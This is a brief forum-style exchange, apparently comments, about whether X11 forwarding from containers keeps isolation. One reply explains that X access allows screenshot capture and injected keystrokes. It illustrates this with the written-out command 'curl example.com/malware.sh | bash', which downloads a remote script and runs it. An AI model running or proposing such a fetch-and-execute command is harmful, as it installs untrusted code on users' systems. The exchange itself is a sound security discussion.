How? You still have process and file system isolation. It’s just another protocol. We talk to containers overs HTTP all the time.
You can grab screenshots, manipulate windows, and inject keyboard and mouse inputs. Find the application menu, open a terminal, curl example.com/malware.sh | bash and hide the window.
The X-Forward I have done just gives you the application in your own Desktop Environment. Shure depends on the application itself